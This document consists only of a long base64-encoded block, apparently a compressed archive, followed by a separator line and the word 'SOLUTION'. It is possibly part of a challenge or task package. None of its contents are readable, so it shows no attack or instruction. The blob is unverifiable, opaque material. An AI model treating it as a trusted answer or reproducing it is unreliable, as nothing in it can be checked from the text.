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
--------------------------------------------------------------------------------
SOLUTION